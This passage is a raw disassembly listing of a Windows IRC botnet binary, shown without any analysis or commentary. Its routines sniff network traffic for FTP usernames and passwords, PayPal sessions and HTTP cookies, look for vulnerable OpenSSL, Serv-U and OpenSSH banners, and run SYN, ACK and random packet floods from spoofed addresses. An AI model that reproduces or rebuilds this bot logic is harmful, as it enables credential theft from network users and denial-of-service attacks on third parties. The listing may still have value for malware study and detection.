ecx jnz short loc_411887 push offset dword_44C884 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411887 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B890 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_41184B endp ; =============== S U B R O U T I N E ======================================= sub_4118C1 proc near ; CODE XREF: sub_411A34+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_4118DB loc_4118D7: ; CODE XREF: sub_4118C1+29j ; sub_4118C1+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4118DB: ; CODE XREF: sub_4118C1+14j push offset aDd ; "#dd" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_4118D7 push offset aNick_2 ; "NICK " push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_4118D7 push offset a220 ; "220 " push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_411912 loc_41190E: ; CODE XREF: sub_4118C1+60j ; sub_4118C1+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_411912: ; CODE XREF: sub_4118C1+4Bj push offset a230 ; "230 " push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_41190E push offset aUser_1 ; "USER " push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_41190E push offset aPass_0 ; "PASS " push esi call sub_41B890 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4118C1 endp ; =============== S U B R O U T I N E ======================================= sub_411948 proc near ; CODE XREF: sub_411A34+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_411962 loc_41195E: ; CODE XREF: sub_411948+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_411962: ; CODE XREF: sub_411948+14j push offset aDd ; "#dd" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_41195E push offset aPaypal ; "paypal" push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_411988 loc_411984: ; CODE XREF: sub_411948+4Fj ; sub_411948+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_411988: ; CODE XREF: sub_411948+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411984 push offset aPaypal_com ; "PAYPAL.COM" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411984 push offset aPaypal_com_0 ; "paypal.com" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411984 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B890 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_411948 endp ; =============== S U B R O U T I N E ======================================= sub_4119CF proc near ; CODE XREF: sub_411A34:loc_411DF9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_4119E9 loc_4119E5: ; CODE XREF: sub_4119CF+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4119E9: ; CODE XREF: sub_4119CF+14j push offset aDd ; "#dd" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_4119E5 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_411A0F loc_411A0B: ; CODE XREF: sub_4119CF+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_411A0F: ; CODE XREF: sub_4119CF+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411A0B push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B890 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4119CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A34 proc near ; DATA XREF: sub_401CC1+3B76o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BC60 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4E08B4 lea eax, [ebp+var_3B8] push eax call dword_4E0920 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call near ptr sub_41C8D0 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4E091C mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_411ADA pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_411ADA: ; CODE XREF: sub_411A34+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4E08CC cmp eax, 0FFFFFFFFh jnz short loc_411B50 call dword_4E083C push eax lea eax, [ebp+var_2B8] push offset unk_44C958 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_411B2C push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_408EB9 add esp, 14h loc_411B2C: ; CODE XREF: sub_411A34+D6j lea eax, [ebp+var_2B8] push eax call sub_41458A pop ecx push edi call dword_4E0934 push [ebp+var_34] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_411B50: ; CODE XREF: sub_411A34+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4E0850 cmp eax, 0FFFFFFFFh jnz short loc_411BD6 call dword_4E083C push eax lea eax, [ebp+var_2B8] push offset unk_44C984 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_411BB2 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_408EB9 add esp, 14h loc_411BB2: ; CODE XREF: sub_411A34+15Cj lea eax, [ebp+var_2B8] push eax call sub_41458A pop ecx push edi call dword_4E0934 push [ebp+var_34] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_411BD6: ; CODE XREF: sub_411A34+13Cj mov esi, 200h loc_411BDB: ; CODE XREF: sub_411A34+1D6j ; sub_411A34+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4E08B8 cmp [ebp+var_113AF], 6 jnz short loc_411BDB push [ebp+var_113A4] mov edi, dword_4F14D0 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_411BDB cmp [ebp+arg_0], 19h jz short loc_411BDB cmp edi, 6Eh jz short loc_411BDB cmp edi, 19h jz short loc_411BDB push [ebp+var_113AC] call sub_411725 pop ecx push dword ptr [eax] call dword_4F14D4 ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_32 ; "%s" push eax call sub_41B740 push [ebp+var_113A8] call sub_411725 add esp, 10h push dword ptr [eax] call dword_4F14D4 ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_33 ; "%s" push eax call sub_41B740 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_418D00 add esp, 10h test eax, eax jle short loc_411CD9 loc_411CA5: ; CODE XREF: sub_411A34+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_411CBC mov byte ptr [eax], 20h loc_411CBC: ; CODE XREF: sub_411A34+283j cmp byte ptr [eax], 0Ah jnz short loc_411CC4 mov byte ptr [eax], 20h loc_411CC4: ; CODE XREF: sub_411A34+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_418D00 cmp [ebp+var_4], eax pop ecx jl short loc_411CA5 loc_411CD9: ; CODE XREF: sub_411A34+26Fj cmp [ebp+arg_0], 50h jz loc_411D8C cmp edi, 50h jz loc_411D8C lea eax, [ebp+var_1138C] push eax call sub_411734 test al, al pop ecx jz short loc_411D20 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44C9BC jmp loc_411DBB ; --------------------------------------------------------------------------- loc_411D20: ; CODE XREF: sub_411A34+2C7j cmp edi, 50h jz short loc_411D8C lea eax, [ebp+var_1138C] push eax call sub_41184B test al, al pop ecx jz short loc_411D56 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44C9F0 jmp short loc_411DBB ; --------------------------------------------------------------------------- loc_411D56: ; CODE XREF: sub_411A34+300j cmp edi, 50h jz short loc_411D8C lea eax, [ebp+var_1138C] push eax call sub_4118C1 test al, al pop ecx jz short loc_411D8C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44CA24 jmp short loc_411DBB ; --------------------------------------------------------------------------- loc_411D8C: ; CODE XREF: sub_411A34+2A9j ; sub_411A34+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_411948 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_411DF9 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_44CA58 loc_411DBB: ; CODE XREF: sub_411A34+2E7j ; sub_411A34+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B910 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_411BDB push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_408EB9 add esp, 14h jmp loc_411BDB ; --------------------------------------------------------------------------- loc_411DF9: ; CODE XREF: sub_411A34+36Ej call sub_4119CF test al, al pop ecx jz loc_411BDB lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44CA90 jmp short loc_411DBB sub_411A34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E27 proc near ; DATA XREF: sub_401CC1+5CF9o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_4F1364 ; GetTickCount push eax call sub_41B840 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_412210 push eax lea eax, [ebp+var_494] push offset unk_44CAC8 push eax call sub_41B740 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_411EB7 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_408EB9 add esp, 14h loc_411EB7: ; CODE XREF: sub_411E27+6Ej lea eax, [ebp+var_494] push eax call sub_41458A push [ebp+var_290] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_411E27 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411ED9 proc near ; CODE XREF: sub_412210+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4E081C test eax, eax jz short loc_411F19 xor eax, eax jmp loc_41220C ; --------------------------------------------------------------------------- loc_411F19: ; CODE XREF: sub_411ED9+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4E0940 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412204 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4E0880 cmp eax, 0FFFFFFFFh jz loc_4121FA push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4E08A0 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4E08A0 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4E08A0 mov [ebp+var_12], ax call sub_41B850 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4E08A0 push 12345678h mov [ebp+var_14], ax call dword_4E089C push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_411FE9 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_41203D ; --------------------------------------------------------------------------- loc_411FE9: ; CODE XREF: sub_411ED9+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_412005 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_41203D ; --------------------------------------------------------------------------- loc_412005: ; CODE XREF: sub_411ED9+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_41203D call sub_41B850 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B850 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_41203D: ; CODE XREF: sub_411ED9+10Ej ; sub_411ED9+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4E08A0 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_4F12BC ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_4F13EC ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DE60 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_41208B: ; CODE XREF: sub_411ED9+2E2j ; sub_411ED9+2F0j mov [ebp+var_4], bx call sub_41B850 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4E08A0 mov [ebp+var_14], ax call sub_41B850 mov edi, eax shl edi, 10h call sub_41B850 or edi, eax push edi call dword_4E08A0 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4E089C mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4E08A0 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A072 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C8D0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B190 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A072 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C8D0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4E0900 cmp eax, 0FFFFFFFFh jz short loc_4121CE add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_4F13EC ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4121F7 jl loc_41208B mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4121F7 jmp loc_41208B ; --------------------------------------------------------------------------- loc_4121CE: ; CODE XREF: sub_411ED9+2CBj call dword_4E083C push eax lea eax, [ebp+var_F4] push offset dword_44CB14 push eax call sub_41B740 lea eax, [ebp+var_F4] push eax call sub_41458A add esp, 10h jmp short loc_4121FA ; --------------------------------------------------------------------------- loc_4121F7: ; CODE XREF: sub_411ED9+2E0j ; sub_411ED9+2EEj mov ebx, [ebp+arg_8] loc_4121FA: ; CODE XREF: sub_411ED9+78j ; sub_411ED9+31Cj push [ebp+var_20] call dword_4E0934 pop esi loc_412204: ; CODE XREF: sub_411ED9+5Bj call dword_4E0804 mov eax, ebx loc_41220C: ; CODE XREF: sub_411ED9+3Bj pop edi pop ebx leave retn sub_411ED9 endp ; =============== S U B R O U T I N E ======================================= sub_412210 proc near ; CODE XREF: sub_411E27+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409EFD push [esp+10h+arg_4] mov esi, eax call sub_41B3F0 push [esp+14h+arg_C] mov ebx, eax call sub_41B3F0 mov edi, eax call sub_41B850 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_411ED9 add esp, 20h test eax, eax jnz short loc_41225F push 1 pop eax loc_41225F: ; CODE XREF: sub_412210+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_412210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41226E proc near ; DATA XREF: sub_401CC1+5ED2o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4E091C cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_412309 call dword_4E083C push eax lea eax, [ebp+var_3BC] push offset unk_44CB30 push eax call sub_41B740 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4122EC push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_408EB9 add esp, 14h loc_4122EC: ; CODE XREF: sub_41226E+5Cj lea eax, [ebp+var_3BC] push eax call sub_41458A push [ebp+var_38] call sub_40AB19 pop ecx pop ecx push edi call dword_4F1388 ; ExitThread loc_412309: ; CODE XREF: sub_41226E+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4E0880 cmp eax, 0FFFFFFFFh jnz short loc_412380 call dword_4E083C push eax lea eax, [ebp+var_3BC] push offset unk_44CB5C push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_412363 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_408EB9 add esp, 14h loc_412363: ; CODE XREF: sub_41226E+D3j lea eax, [ebp+var_3BC] push eax call sub_41458A push [ebp+var_38] call sub_40AB19 pop ecx pop ecx push edi call dword_4F1388 ; ExitThread loc_412380: ; CODE XREF: sub_41226E+B3j lea eax, [ebp+var_1B8] push eax call dword_4E08DC cmp eax, 0FFFFFFFFh jnz short loc_4123E7 lea eax, [ebp+var_3BC] push offset unk_44CB8C push eax call sub_41B740 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4123CA push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_408EB9 add esp, 14h loc_4123CA: ; CODE XREF: sub_41226E+13Aj lea eax, [ebp+var_3BC] push eax call sub_41458A push [ebp+var_38] call sub_40AB19 pop ecx pop ecx push edi call dword_4F1388 ; ExitThread loc_4123E7: ; CODE XREF: sub_41226E+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_41B190 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_4E08A0 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4E08DC mov esi, dword_4F1364 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_412425: ; CODE XREF: sub_41226E+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4125D0 push 41Ch mov byte_4E3658, 45h call dword_4E08A0 cmp [ebp+var_2C], edi mov word_4E365A, ax mov word_4E365C, bx mov word_4E365E, di mov byte_4E3660, 80h mov byte_4E3661, bl mov word_4E3662, di jz short loc_4124AB call sub_41B850 mov ebx, eax shl ebx, 8 call sub_41B850 add ebx, eax shl ebx, 8 call sub_41B850 add ebx, eax shl ebx, 8 call sub_41B850 add ebx, eax push 1 mov dword_4E3664, ebx pop ebx jmp short loc_4124C3 ; --------------------------------------------------------------------------- loc_4124AB: ; CODE XREF: sub_41226E+20Bj push [ebp+var_1BC] call sub_40A019 pop ecx push eax call dword_4E08DC mov dword_4E3664, eax loc_4124C3: ; CODE XREF: sub_41226E+23Bj mov eax, [ebp+var_18] mov dword_4E3668, eax call sub_41B850 cdq mov ecx, 100h idiv ecx mov byte_4E366C, dl call sub_41B850 cdq mov ecx, 100h idiv ecx mov byte_4E366D, dl call sub_41B850 cdq mov ecx, 0F0h push 400h idiv ecx mov word_4E366E, di mov word_4E3672, bx inc edx mov word_4E3670, dx call sub_41B850 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4E3674 call sub_41B190 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4E3658 push [ebp+var_4] call dword_4E0900 cmp eax, 0FFFFFFFFh jz short loc_41255B inc [ebp+arg_0] jmp loc_412425 ; --------------------------------------------------------------------------- loc_41255B: ; CODE XREF: sub_41226E+2E3j push [ebp+var_4] call dword_4E0934 call dword_4E083C push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_44CBAC lea eax, [ebp+var_3BC] push 200h push eax call sub_41B910 add esp, 18h cmp [ebp+var_24], edi jnz short loc_4125B3 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_408EB9 add esp, 14h loc_4125B3: ; CODE XREF: sub_41226E+323j lea eax, [ebp+var_3BC] push eax call sub_41458A push [ebp+var_38] call sub_40AB19 pop ecx pop ecx push edi call dword_4F1388 ; ExitThread loc_4125D0: ; CODE XREF: sub_41226E+1C8j push [ebp+var_4] call dword_4E0934 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_44CBF4 push eax call sub_41B740 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_412638 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_408EB9 add esp, 14h loc_412638: ; CODE XREF: sub_41226E+3A8j lea eax, [ebp+var_3BC] push eax call sub_41458A push [ebp+var_38] call sub_40AB19 pop ecx pop ecx push edi call dword_4F1388 ; ExitThread sub_41226E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412655 proc near ; DATA XREF: sub_401CC1+4CD4o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_41BC60 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4E0830 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4E08DC mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_4126B0 lea eax, [ebp+var_C0] push eax call dword_4E0920 cmp eax, ebx jz short loc_4126B6 loc_4126B0: ; CODE XREF: sub_412655+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_412713 loc_4126B6: ; CODE XREF: sub_412655+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_44CC40 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_4126F6 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_408EB9 add esp, 14h loc_4126F6: ; CODE XREF: sub_412655+7Fj lea eax, [ebp+var_344] push eax call sub_41458A push [ebp+var_30] call sub_40AB19 pop ecx pop ecx push edi call dword_4F1388 ; ExitThread loc_412713: ; CODE XREF: sub_412655+5Fj cmp eax, ebx jz short loc_412723 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_412726 ; --------------------------------------------------------------------------- loc_412723: ; CODE XREF: sub_412655+C0j mov [ebp+var_4], esi loc_412726: ; CODE XREF: sub_412655+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_41B190 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_412746 mov [ebp+var_3C], eax loc_412746: ; CODE XREF: sub_412655+ECj cmp [ebp+var_38], edi jge short loc_41274E mov [ebp+var_38], edi loc_41274E: ; CODE XREF: sub_412655+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_41277B loc_412755: ; CODE XREF: sub_412655+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push 